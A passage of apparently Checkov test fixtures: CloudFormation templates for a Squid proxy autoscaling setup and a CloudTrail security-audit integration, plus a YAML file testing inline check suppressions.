config refresh\\n  crontab << EOF\\nPATH=$PATH\\n* * * * * squid-config-refresh.sh\\n0 15 * * * sleep $((NUM*3600)); yum -y update --security\\n0 0 * * * squid -k rotate\\n*/10 * * * * AWS_DEFAULT_REGION=$AWS_DEFAULT_REGION takeover-route.sh\\n*/30 * * * * postfix-config-refresh.sh\\nEOF\\n}\\n\\nif [[ $RequirePostfix == \\\"Yes\\\" ]]; then\\n  run_postfix_config;\\nfi\\n\\ncomplete_asg_lifecycle \\\"$StackName\\\" StartupLifecycleHook CONTINUE\\nuntil takeover-route.sh -x; do sleep 10; done\",\n                \"lambda\": \"redacted\"\n            }\n        }\n    },\n    \"Resources\": {\n        \"LaunchConfiguration1\": {\n            \"Type\": \"AWS::AutoScaling::LaunchConfiguration\",\n            \"Properties\": {\n                \"AssociatePublicIpAddress\": true,\n                \"InstanceType\": {\n                    \"Ref\": \"SquidInstanceType\"\n                },\n                \"BlockDeviceMappings\": [\n                    {\n                        \"DeviceName\": \"/dev/xvda\",\n                        \"Ebs\": {\n                            \"VolumeSize\" : \"50\",\n                            \"Encrypted\": true\n                        }\n                    }\n                ],\n                \"ImageId\": {\n                    \"Ref\": \"ImageId\"\n                },\n                \"UserData\": {\n                    \"Fn::Base64\": {\n                        \"Fn::Sub\": [\n                            \"#!/bin/bash\\n\\nRequirePostfix=${RequirePostfix}\\nVpcCidr=${VpcCidr}\\nProxyConfigLocation=s3://${ProxyConfigBucket}/${ProxyConfigPath}\\nStackName=${AWS::StackName}\\nexport AWS_DEFAULT_REGION=${AWS::Region}\\nASGName=${ASGName}\\nSquidEIP=${SquidEIP}\\nTargetGroup=${ProxyTargetGroup}\\nRouteTables=${RouteTables}\\nProxyLambda=${TransparentProxyLambda}\\nNUM=1\\n${UserData}\\n\",\n                            {\n                                \"RouteTables\": {\n                                    \"Ref\": \"RouteTables\"\n                                },\n                                \"ASGName\": \"AutoScalingGroup1\",\n                                \"SquidEIP\": {\n                                    \"Fn::Select\": [\n                                        1,\n                                        {\n                                            \"Ref\": \"SquidEIPs\"\n                                        }\n                                    ]\n                                },\n                                \"UserData\": {\n                                    \"Fn::FindInMap\": [\n                                        \"Blobs\",\n                                        \"Code\",\n                                        \"userdata\"\n                                    ]\n                                }\n                            }\n                        ]\n                    }\n                }\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/cloudformation/runner/resources/success.json",
    "content": "{\n  \"AWSTemplateFormatVersion\": \"2010-09-09\",\n  \"Description\": \"acme AWS CloudTrail and Config Security Audit Integration\",\n  \"Mappings\": {\n    \"acmeEnvironment\": {\n      \"env\": {\n        \"organizationID\": \"${account_id}\",\n        \"SnsNameForConfirmCustomerDeployment\": \"${sns_name}\"\n      }\n    }\n  },\n  \"Metadata\": {\n    \"AWS::CloudFormation::Interface\": {\n      \"ParameterGroups\": [\n        {\n          \"Label\": {\n            \"default\": \"Required Parameters\"\n          },\n          \"Parameters\": [\n            \"CustomerName\",\n            \"ResourceNamePrefix\",\n            \"ExternalID\",\n            \"LogFilesExpiration\",\n            \"CreateTrail\"\n          ]\n        },\n        {\n          \"Label\": {\n            \"default\": \"New Trail Options\"\n          },\n          \"Parameters\": [\n            \"NewTrailLogFilePrefix\"\n          ]\n        },\n        {\n          \"Label\": {\n            \"default\": \"Existing Trail Setup\"\n          },\n          \"Parameters\": [\n            \"ExistingTrailBucketName\",\n            \"ExistingTrailTopicArn\",\n            \"SecurityAccountId\"\n          ]\n        }\n      ],\n      \"ParameterLabels\": {\n        \"ResourceNamePrefix\": {\n          \"default\": \"Resource name prefix\"\n        },\n        \"CustomerName\": {\n          \"default\": \"Customer name\"\n        },\n        \"ExternalID\": {\n          \"default\": \"ExternalID\"\n        },\n        \"CreateTrail\": {\n          \"default\": \"Create new trail?\"\n        },\n        \"NewTrailLogFilePrefix\": {\n          \"default\": \"Log file prefix\"\n        },\n        \"ExistingTrailBucketName\": {\n          \"default\": \"Bucket name\"\n        },\n        \"ExistingTrailTopicArn\": {\n          \"default\": \"Topic ARN\"\n        },\n        \"LogFilesExpiration\": {\n          \"default\": \"LifecycleConfigurationExpirationInDays\"\n        }\n      }\n    }\n  },\n  \"Parameters\": {\n    \"ResourceNamePrefix\": {\n      \"Description\": \"Names of resources created by the stack will be prefixed with this value to ensure uniqueness.\",\n      \"Type\": \"String\",\n      \"Default\": \"acme\",\n      \"MinLength\": \"1\",\n      \"MaxLength\": \"32\",\n      \"AllowedPattern\": \"^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$\",\n      \"ConstraintDescription\": \"Invalid resource name prefix value.  Must match pattern ^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$\"\n    },\n    \"CustomerName\": {\n      \"Description\": \"Customer name as defined on acme Signup\",\n      \"Type\": \"String\",\n      \"MinLength\": \"2\",\n      \"MaxLength\": \"1224\",\n      \"AllowedPattern\": \"[a-zA-Z0-9]*\",\n      \"ConstraintDescription\": \"must contain only alphanumeric characters.\"\n    },\n    \"ExternalID\": {\n      \"Description\": \"The cross-account access role created by the stack will use this value for its ExternalID.\",\n      \"Type\": \"String\",\n      \"MinLength\": \"2\",\n      \"MaxLength\": \"1224\",\n      \"AllowedPattern\": \"[\\\\w+=,.@:\\\\/-]*\",\n      \"ConstraintDescription\": \"Invalid ExternalID value.  Must match pattern [\\\\w+=,.@:\\\\/-]*\"\n    },\n    \"CreateTrail\": {\n      \"Description\": \"You can have a new multi-region CloudTrail trail be created (along with a new S3 bucket and SNS topic), or use your existing trail setup.\",\n      \"Type\": \"String\",\n      \"AllowedValues\": [\n        \"Yes\",\n        \"No\"\n      ],\n      \"Default\": \"Yes\"\n    },\n    \"NewTrailLogFilePrefix\": {\n      \"Description\": \"If you want the new trail to prefix its log file names, provide the prefix to use.  Otherwise, leave it blank.\",\n      \"Default\": \"\",\n      \"Type\": \"String\",\n      \"MaxLength\": \"64\",\n      \"AllowedPattern\": \"[a-zA-Z0-9-_.!()* ]*\",\n      \"ConstraintDescription\": \"Invalid log file prefix.  Must match pattern [a-zA-Z0-9-_.!()* ]*\"\n    },\n    \"ExistingTrailBucketName\": {\n      \"Description\": \"Provide the name of the S3 bucket for your existing trail setup.  The bucket must be owned by the current account.\",\n      \"Default\": \"\",\n      \"Type\": \"String\",\n      \"MaxLength\": \"128\"\n    },\n    \"ExistingTrailTopicArn\": {\n      \"Description\": \"Provide the ARN of the SNS topic for your existing trail setup. The SNS must be subscribe to the existing bucket\",\n      \"Default\": \"\",\n      \"Type\": \"String\",\n      \"MaxLength\": \"256\"\n    },\n    \"SecurityAccountId\": {\n      \"Description\": \"In case of an existing CloudTrail trail saving logs to another account, please provide the account ID for that account\",\n      \"Default\": \"\",\n      \"Type\": \"String\",\n      \"AllowedPattern\": \"\\\\d{12}|\\\\d{0}\",\n      \"MaxLength\": \"12\"\n    },\n    \"LogFilesExpiration\": {\n      \"Description\": \"Number of days log files will be saved for. After this many days, log files will be deleted\",\n      \"Type\": \"Number\",\n      \"Default\": \"30\",\n      \"MinValue\": \"7\",\n      \"MaxValue\": \"365\"\n    }\n  },\n  \"Conditions\": {\n    \"CreateNewTrail\": {\n      \"Fn::Equals\": [\n        {\n          \"Ref\": \"CreateTrail\"\n        },\n        \"Yes\"\n      ]\n    },\n    \"UseExistingTrail\": {\n      \"Fn::Not\": [\n        {\n          \"Fn::Equals\": [\n            {\n              \"Ref\": \"CreateTrail\"\n            },\n            \"Yes\"\n          ]\n        }\n      ]\n    },\n    \"NewTrailUsesLogFilePrefix\": {\n      \"Fn::Not\": [\n        {\n          \"Fn::Equals\": [\n            {\n              \"Ref\": \"NewTrailLogFilePrefix\"\n            },\n            \"\"\n          ]\n        }\n      ]\n    },\n    \"SecurityAccountExists\": {\n      \"Fn::Equals\": [\n        {\n          \"Ref\": \"SecurityAccountId\"\n        },\n        \"\"\n      ]\n    }\n  },\n  \"Resources\": {\n    \"acmeCWSBucket\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::S3::Bucket\",\n      \"DeletionPolicy\": \"Retain\",\n      \"Properties\": {\n        \"BucketName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws-\",\n              {\n                \"Ref\": \"AWS::AccountId\"\n              }\n            ]\n          ]\n        },\n        \"VersioningConfiguration\": {\n          \"Status\": \"Enabled\"\n        },\n        \"LifecycleConfiguration\": {\n          \"Rules\": [\n            {\n              \"Id\": \"Delete old log files\",\n              \"Status\": \"Enabled\",\n              \"ExpirationInDays\": {\n                \"Ref\": \"LogFilesExpiration\"\n              },\n              \"NoncurrentVersionExpirationInDays\": {\n                \"Ref\": \"LogFilesExpiration\"\n              }\n            }\n          ]\n        },\n        \"BucketEncryption\": {\n          \"ServerSideEncryptionConfiguration\": [\n            {\n              \"ServerSideEncryptionByDefault\": {\n                \"Fn::If\": [\n                  \"CreateNewTrail\",\n                  {\n                    \"KMSMasterKeyID\": {\n                      \"Ref\": \"CloudtrailKMSKeyAlias\"\n                    },\n                    \"SSEAlgorithm\": \"aws:kms\"\n                  },\n                  {\n                    \"SSEAlgorithm\": \"AES256\"\n                  }\n                ]\n              }\n            }\n          ]\n        }\n      }\n    },\n    \"acmeCWSBucket2\": {\n      \"Type\": \"AWS::S3::Bucket\",\n      \"DeletionPolicy\": \"Retain\",\n      \"Properties\": {\n        \"BucketName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws-\",\n              {\n                \"Ref\": \"AWS::AccountId\"\n              }\n            ]\n          ]\n        },\n        \"LoggingConfiguration\": {\n          \"DestinationBucketName\": \"dest-bucket\",\n          \"LogFilePrefix\": \"\"\n        },\n        \"LifecycleConfiguration\": {\n          \"Rules\": [\n            {\n              \"Id\": \"Delete old log files\",\n              \"Status\": \"Enabled\",\n              \"ExpirationInDays\": {\n                \"Ref\": \"LogFilesExpiration\"\n              },\n              \"NoncurrentVersionExpirationInDays\": {\n                \"Ref\": \"LogFilesExpiration\"\n              }\n            }\n          ]\n        },\n        \"BucketEncryption\": {\n          \"ServerSideEncryptionConfiguration\": [\n            {\n              \"ServerSideEncryptionByDefault\": {\n                \"Fn::If\": [\n                  \"CreateNewTrail\",\n                  {\n                    \"KMSMasterKeyID\": {\n                      \"Ref\": \"CloudtrailKMSKeyAlias\"\n                    },\n                    \"SSEAlgorithm\": \"aws:kms\"\n                  },\n                  {\n                    \"SSEAlgorithm\": \"AES256\"\n                  }\n                ]\n              }\n            }\n          ]\n        }\n      }\n    },\n    \"acmeCWSBucketPolicy\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::S3::BucketPolicy\",\n      \"Properties\": {\n        \"Bucket\": {\n          \"Ref\": \"acmeCWSBucket\"\n        },\n        \"PolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Id\": \"acmeCWSBucketPolicy\",\n          \"Statement\": [\n            {\n              \"Sid\": \"CloudTrailAclCheck\",\n              \"Action\": \"s3:GetBucketAcl\",\n              \"Effect\": \"Allow\",\n              \"Resource\": {\n                \"Fn::Join\": [\n                  \"\",\n                  [\n                    \"arn:aws:s3:::\",\n                    {\n                      \"Ref\": \"acmeCWSBucket\"\n                    }\n                  ]\n                ]\n              },\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              }\n            },\n            {\n              \"Sid\": \"CloudTrailWrite\",\n              \"Action\": \"s3:PutObject\",\n              \"Effect\": \"Allow\",\n              \"Resource\": {\n                \"Fn::Join\": [\n                  \"\",\n                  [\n                    \"arn:aws:s3:::\",\n                    {\n                      \"Ref\": \"acmeCWSBucket\"\n                    },\n                    {\n                      \"Fn::If\": [\n                        \"NewTrailUsesLogFilePrefix\",\n                        {\n                          \"Fn::Join\": [\n                            \"\",\n                            [\n                              \"/\",\n                              {\n                                \"Ref\": \"NewTrailLogFilePrefix\"\n                              }\n                            ]\n                          ]\n                        },\n                        \"\"\n                      ]\n                    },\n                    \"/AWSLogs/\",\n                    {\n                      \"Ref\": \"AWS::AccountId\"\n                    },\n                    \"/*\"\n                  ]\n                ]\n              },\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              },\n              \"Condition\": {\n                \"StringEquals\": {\n                  \"s3:x-amz-acl\": \"bucket-owner-full-control\"\n                },\n                \"Bool\": {\n                  \"aws:SecureTransport\": \"true\"\n                }\n              }\n            },\n            {\n              \"Sid\": \"DenyUnsecureTransport\",\n              \"Action\": \"s3:*\",\n              \"Effect\": \"Deny\",\n              \"Resource\": [\n                {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:s3:::\",\n                      {\n                        \"Ref\": \"acmeCWSBucket\"\n                      },\n                      \"/*\"\n                    ]\n                  ]\n                },\n                {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:s3:::\",\n                      {\n                        \"Ref\": \"acmeCWSBucket\"\n                      }\n                    ]\n                  ]\n                }\n              ],\n              \"Principal\": \"*\",\n              \"Condition\": {\n                \"Bool\": {\n                  \"aws:SecureTransport\": \"false\"\n                }\n              }\n            }\n          ]\n        }\n      }\n    },\n    \"acmeCWSTopic\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::SNS::Topic\",\n      \"Properties\": {\n        \"TopicName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws\"\n            ]\n          ]\n        }\n      }\n    },\n    \"acmeCWSTopicPolicy\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::SNS::TopicPolicy\",\n      \"Properties\": {\n        \"PolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Sid\": \"CloudTrailPublish\",\n              \"Action\": \"SNS:Publish\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              },\n              \"Resource\": \"*\"\n            }\n          ]\n        },\n        \"Topics\": [\n          {\n            \"Ref\": \"acmeCWSTopic\"\n          }\n        ]\n      }\n    },\n    \"acmeCWSTrail\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::CloudTrail::Trail\",\n      \"DependsOn\": [\n        \"acmeCWSTopicPolicy\",\n        \"acmeCWSBucketPolicy\"\n      ],\n      \"Properties\": {\n        \"TrailName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws\"\n            ]\n          ]\n        },\n        \"S3BucketName\": {\n          \"Ref\": \"acmeCWSBucket\"\n        },\n        \"S3KeyPrefix\": {\n          \"Fn::If\": [\n            \"NewTrailUsesLogFilePrefix\",\n            {\n              \"Ref\": \"NewTrailLogFilePrefix\"\n            },\n            {\n              \"Ref\": \"AWS::NoValue\"\n            }\n          ]\n        },\n        \"SnsTopicName\": {\n          \"Fn::GetAtt\": [\n            \"acmeCWSTopic\",\n            \"TopicName\"\n          ]\n        },\n        \"KMSKeyId\": {\n          \"Ref\": \"CloudtrailKMSKeyAlias\"\n        },\n        \"EnableLogFileValidation\": true,\n        \"IncludeGlobalServiceEvents\": true,\n        \"IsMultiRegionTrail\": true,\n        \"IsLogging\": true\n      }\n    },\n    \"CloudtrailKMSKey\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::KMS::Key\",\n      \"Properties\": {\n        \"Description\": \"KMS for Cloudtrail, shared with Lacework and acme\",\n        \"Enabled\": true,\n        \"EnableKeyRotation\": true,\n        \"KeyPolicy\": {\n          \"Version\": \"2012-10-17\",\n          \"Id\": \"key-default-1\",\n          \"Statement\": [\n            {\n              \"Sid\": \"Enable owner account permissions\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"AWS\": {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:iam::\",\n                      {\n                        \"Ref\": \"AWS::AccountId\"\n                      },\n                      \":root\"\n                    ]\n                  ]\n                }\n              },\n              \"Action\": \"kms:*\",\n              \"Resource\": \"*\"\n            },\n            {\n              \"Sid\": \"Allow CloudTrail to encrypt logs\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              },\n              \"Action\": [\n                \"kms:GenerateDataKey*\",\n                \"kms:ReEncryptFrom\"\n              ],\n              \"Resource\": \"*\",\n              \"Condition\": {\n                \"StringLike\": {\n                  \"kms:EncryptionContext:aws:cloudtrail:arn\": {\n                    \"Fn::Join\": [\n                      \"\",\n                      [\n                        \"arn:aws:cloudtrail:*:\",\n                        {\n                          \"Ref\": \"AWS::AccountId\"\n                        },\n                        \":trail/*\"\n                      ]\n                    ]\n                  }\n                }\n              }\n            },\n            {\n              \"Sid\": \"Allow CloudTrail to describe key\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              },\n              \"Action\": \"kms:DescribeKey\",\n              \"Resource\": \"*\"\n            },\n            {\n              \"Sid\": \"Enable acme & Lacework log decryption\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"AWS\": \"*\"\n              },\n              \"Action\": [\n                \"kms:Decrypt\"\n              ],\n              \"Resource\": \"*\",\n              \"Condition\": {\n                \"StringEquals\": {\n                  \"kms:CallerAccount\": {\n                    \"Ref\": \"AWS::AccountId\"\n                  }\n                },\n                \"StringLike\": {\n                  \"kms:EncryptionContext:aws:cloudtrail:arn\": {\n                    \"Fn::Join\": [\n                      \"\",\n                      [\n                        \"arn:aws:cloudtrail:*:\",\n                        {\n                          \"Ref\": \"AWS::AccountId\"\n                        },\n                        \":trail/*\"\n                      ]\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        },\n        \"KeyUsage\": \"ENCRYPT_DECRYPT\"\n      },\n      \"Metadata\": {\n        \"AWS::CloudFormation::Designer\": {\n          \"id\": \"787370fe-e579-465f-98c5-f1c84f79a810\"\n        }\n      }\n    },\n    \"CloudtrailKMSKeyAlias\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::KMS::Alias\",\n      \"Properties\": {\n        \"AliasName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              \"alias/\",\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-CloudtrailKey\"\n            ]\n          ]\n        },\n        \"TargetKeyId\": {\n          \"Ref\": \"CloudtrailKMSKey\"\n        }\n      }\n    },\n    \"acmeCWSQueue\": {\n      \"Type\": \"AWS::SQS::Queue\",\n      \"Properties\": {\n        \"QueueName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws\"\n            ]\n          ]\n        },\n        \"VisibilityTimeout\": 43200\n      }\n    },\n    \"acmeCWSQueuePolicy\": {\n      \"Type\": \"AWS::SQS::QueuePolicy\",\n      \"Properties\": {\n        \"PolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Sid\": \"AwsSnsAccess\",\n              \"Effect\": \"Allow\",\n              \"Principal\": \"*\",\n              \"Action\": [\n                \"sqs:SendMessage\"\n              ],\n              \"Resource\": \"*\",\n              \"Condition\": {\n                \"ArnEquals\": {\n                  \"aws:SourceArn\": {\n                    \"Fn::If\": [\n                      \"CreateNewTrail\",\n                      {\n                        \"Ref\": \"acmeCWSTopic\"\n                      },\n                      {\n                        \"Ref\": \"ExistingTrailTopicArn\"\n                      }\n                    ]\n                  }\n                }\n              }\n            },\n            {\n              \"Sid\": \"acmeSqsAccess\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"AWS\": {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:iam::\",\n                      {\n                        \"Fn::FindInMap\": [\n                          \"acmeEnvironment\",\n                          \"env\",\n                          \"organizationID\"\n                        ]\n                      },\n                      \":root\"\n                    ]\n                  ]\n                }\n              },\n              \"Action\": [\n                \"sqs:ReceiveMessage\",\n                \"sqs:DeleteMessage\",\n                \"sqs:GetQueueAttributes\",\n                \"sqs:GetQueueUrl\",\n                \"sqs:ListDeadLetterSourceQueues\",\n                \"sqs:ChangeMessageVisibility\"\n              ],\n              \"Resource\": \"*\"\n            }\n          ]\n        },\n        \"Queues\": [\n          {\n            \"Ref\": \"acmeCWSQueue\"\n          }\n        ]\n      }\n    },\n    \"acmeCWSSubscription\": {\n      \"Type\": \"AWS::SNS::Subscription\",\n      \"Properties\": {\n        \"Endpoint\": {\n          \"Fn::GetAtt\": [\n            \"acmeCWSQueue\",\n            \"Arn\"\n          ]\n        },\n        \"Protocol\": \"sqs\",\n        \"TopicArn\": {\n          \"Fn::If\": [\n            \"CreateNewTrail\",\n            {\n              \"Ref\": \"acmeCWSTopic\"\n            },\n            {\n              \"Ref\": \"ExistingTrailTopicArn\"\n            }\n          ]\n        }\n      }\n    },\n    \"acmeCWSSACrossAccountAccessRole\": {\n      \"Type\": \"AWS::IAM::Role\",\n      \"Properties\": {\n        \"RoleName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecwssarole\"\n            ]\n          ]\n        },\n        \"AssumeRolePolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Action\": \"sts:AssumeRole\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"AWS\": {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:iam::\",\n                      {\n                        \"Fn::FindInMap\": [\n                          \"acmeEnvironment\",\n                          \"env\",\n                          \"organizationID\"\n                        ]\n                      },\n                      \":root\"\n                    ]\n                  ]\n                }\n              },\n              \"Condition\": {\n                \"StringEquals\": {\n                  \"sts:ExternalId\": {\n                    \"Ref\": \"ExternalID\"\n                  }\n                }\n              }\n            }\n          ]\n        },\n        \"ManagedPolicyArns\": [\n          \"arn:aws:iam::aws:policy/SecurityAudit\",\n          \"arn:aws:iam::aws:policy/AWSCloudFormationReadOnlyAccess\"\n        ],\n        \"Policies\": [\n          {\n            \"PolicyName\": \"acmeCWSPolicy\",\n            \"PolicyDocument\": {\n              \"Version\": \"2012-10-17\",\n              \"Statement\": [\n                {\n                  \"Sid\": \"ConsumeNotifications\",\n                  \"Action\": [\n                    \"sqs:GetQueueAttributes\",\n                    \"sqs:GetQueueUrl\",\n                    \"sqs:DeleteMessage\",\n                    \"sqs:ReceiveMessage\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": [\n                    {\n                      \"Fn::GetAtt\": [\n                        \"acmeCWSQueue\",\n                        \"Arn\"\n                      ]\n                    }\n                  ]\n                },\n                {\n                  \"Sid\": \"ListLogFiles\",\n                  \"Action\": [\n                    \"s3:ListBucket\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": [\n                    {\n                      \"Fn::Join\": [\n                        \"\",\n                        [\n                          \"arn:aws:s3:::\",\n                          {\n                            \"Fn::If\": [\n                              \"UseExistingTrail\",\n                              {\n                                \"Ref\": \"ExistingTrailBucketName\"\n                              },\n                              {\n                                \"Ref\": \"acmeCWSBucket\"\n                              }\n                            ]\n                          },\n                          {\n                            \"Fn::If\": [\n                              \"NewTrailUsesLogFilePrefix\",\n                              \"/\",\n                              \"\"\n                            ]\n                          },\n                          {\n                            \"Fn::If\": [\n                              \"NewTrailUsesLogFilePrefix\",\n                              {\n                                \"Ref\": \"NewTrailLogFilePrefix\"\n                              },\n                              \"\"\n                            ]\n                          },\n                          \"/AWSLogs/*\"\n                        ]\n                      ]\n                    }\n                  ],\n                  \"Condition\": {\n                    \"StringLike\": {\n                      \"s3:prefix\": [\n                        {\n                          \"Fn::Join\": [\n                            \"\",\n                            [\n                              {\n                                \"Fn::If\": [\n                                  \"NewTrailUsesLogFilePrefix\",\n                                  {\n                                    \"Ref\": \"NewTrailLogFilePrefix\"\n                                  },\n                                  \"\"\n                                ]\n                              },\n                              {\n                                \"Fn::If\": [\n                                  \"NewTrailUsesLogFilePrefix\",\n                                  \"/\",\n                                  \"\"\n                                ]\n                              },\n                              \"AWSLogs/*\"\n                            ]\n                          ]\n                        }\n                      ]\n                    }\n                  }\n                },\n                {\n                  \"Sid\": \"ReadLogFiles\",\n                  \"Action\": [\n                    \"s3:Get*\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": [\n                    {\n                      \"Fn::Join\": [\n                        \"\",\n                        [\n                          \"arn:aws:s3:::\",\n                          {\n                            \"Fn::If\": [\n                              \"UseExistingTrail\",\n                              {\n                                \"Ref\": \"ExistingTrailBucketName\"\n                              },\n                              {\n                                \"Ref\": \"acmeCWSBucket\"\n                              }\n                            ]\n                          },\n                          {\n                            \"Fn::If\": [\n                              \"NewTrailUsesLogFilePrefix\",\n                              \"/\",\n                              \"\"\n                            ]\n                          },\n                          {\n                            \"Fn::If\": [\n                              \"NewTrailUsesLogFilePrefix\",\n                              {\n                                \"Ref\": \"NewTrailLogFilePrefix\"\n                              },\n                              \"\"\n                            ]\n                          },\n                          \"/AWSLogs/*\"\n                        ]\n                      ]\n                    }\n                  ]\n                },\n                {\n                  \"Sid\": \"GetAccountAlias\",\n                  \"Action\": [\n                    \"iam:ListAccountAliases\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": \"*\"\n                },\n                {\n                  \"Sid\": \"GetMetricDataAccess\",\n                  \"Action\": [\n                    \"cloudwatch:GetMetricData\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": \"*\"\n                }\n              ]\n            }\n          }\n        ]\n      }\n    },\n    \"eksCluster\": {\n      \"Type\": \"AWS::EKS::Cluster\",\n      \"Properties\": {\n        \"EncryptionConfig\" : [\n          {\n            \"Provider\": {\n              \"KeyArn\": \"\"\n            },\n            \"Resources\": [\"secrets\"]\n          }\n        ]\n      }\n    },\n    \"acmeSnsCustomResource\": {\n      \"Type\": \"Custom::acmeSnsCustomResource\",\n      \"DependsOn\": [\n        \"acmeCWSQueuePolicy\"\n      ],\n      \"Properties\": {\n        \"Type\": \"AWS_CT_CFG\",\n        \"ServiceToken\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              \"arn:aws:sns:\",\n              {\n                \"Ref\": \"AWS::Region\"\n              },\n              \":\",\n              {\n                \"Fn::FindInMap\": [\n                  \"acmeEnvironment\",\n                  \"env\",\n                  \"organizationID\"\n                ]\n              },\n              \":\",\n              {\n                \"Fn::FindInMap\": [\n                  \"acmeEnvironment\",\n                  \"env\",\n                  \"SnsNameForConfirmCustomerDeployment\"\n                ]\n              }\n            ]\n          ]\n        },\n        \"IntegrationName\": {\n          \"Ref\": \"AWS::StackName\"\n        },\n        \"CrossAccountRoleArn\": {\n          \"Fn::GetAtt\": [\n            \"acmeCWSSACrossAccountAccessRole\",\n            \"Arn\"\n          ]\n        },\n        \"ExternalId\": {\n          \"Ref\": \"ExternalID\"\n        },\n        \"SqsQueueUrl\": {\n          \"Ref\": \"acmeCWSQueue\"\n        },\n        \"CustomerName\": {\n          \"Ref\": \"CustomerName\"\n        },\n        \"DeploymentRegion\": {\n          \"Ref\": \"AWS::Region\"\n        },\n        \"ActionType\": \"CustomerSignUp\",\n        \"Account\": \"acme\",\n        \"TemplateVersion\": \"${template_version}\",\n        \"AWSAccountId\": {\n          \"Ref\": \"AWS::AccountId\"\n        },\n        \"SecurityAccountId\": {\n          \"Fn::If\": [\n            \"SecurityAccountExists\",\n            {\n              \"Ref\": \"AWS::AccountId\"\n            },\n            {\n              \"Ref\": \"SecurityAccountId\"\n            }\n          ]\n        }\n      }\n    }\n  },\n  \"Outputs\": {\n    \"RoleARN\": {\n      \"Description\": \"Cross-account access role ARN to share with acme for CloudTrail integration\",\n      \"Value\": {\n        \"Fn::GetAtt\": [\n          \"acmeCWSSACrossAccountAccessRole\",\n          \"Arn\"\n        ]\n      }\n    },\n    \"CustomerName\": {\n      \"Description\": \"Customer name as defined on acme Signup\",\n      \"Value\": {\n        \"Ref\": \"CustomerName\"\n      }\n    },\n    \"SQSQueueURL\": {\n      \"Description\": \"SQS queue URL to share with acme for CloudTrail Integration\",\n      \"Value\": {\n        \"Ref\": \"acmeCWSQueue\"\n      }\n    },\n    \"SQSQueueARN\": {\n      \"Description\": \"SQS queue ARN to share with acme for CloudTrail Integration\",\n      \"Value\": {\n        \"Fn::GetAtt\": [\n          \"acmeCWSQueue\",\n          \"Arn\"\n        ]\n      }\n    },\n    \"DeploymentRegion\": {\n      \"Description\": \"The region that the customer installed this cloud-formation template\",\n      \"Value\": {\n        \"Ref\": \"AWS::Region\"\n      }\n    },\n    \"TemplateVersion\": {\n      \"Description\": \"acme.io template version\",\n      \"Value\": \"${template_version}\"\n    }\n  }\n}"
  },
  {
    "path": "tests/cloudformation/runner/resources/suppress_graph_check.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: \"Suppress Test\"\nResources:\n  CommentSuppress:\n    # checkov:skip=CKV2_AWS_33 inline suppression\n    Type: \"AWS::AppSync::GraphQLApi\"\n    Properties:\n      Name: \"My Checkov Test App with no WAF\"\n      AuthenticationType: \"API_KEY\"\n  MetadataSuppress:\n    Metadata:\n      checkov:\n        skip:\n          - id: CKV2_AWS_33\n            comment: inline suppression\n    Type: \"AWS::AppSync::GraphQLApi\"\n    Properties:\n      Name: \"My Checkov Test App with no WAF\"\n      AuthenticationType: \"API_KEY\"\n"
  },
  {
    "path": "tests/cloudformation/runner/resources/tags.yaml",
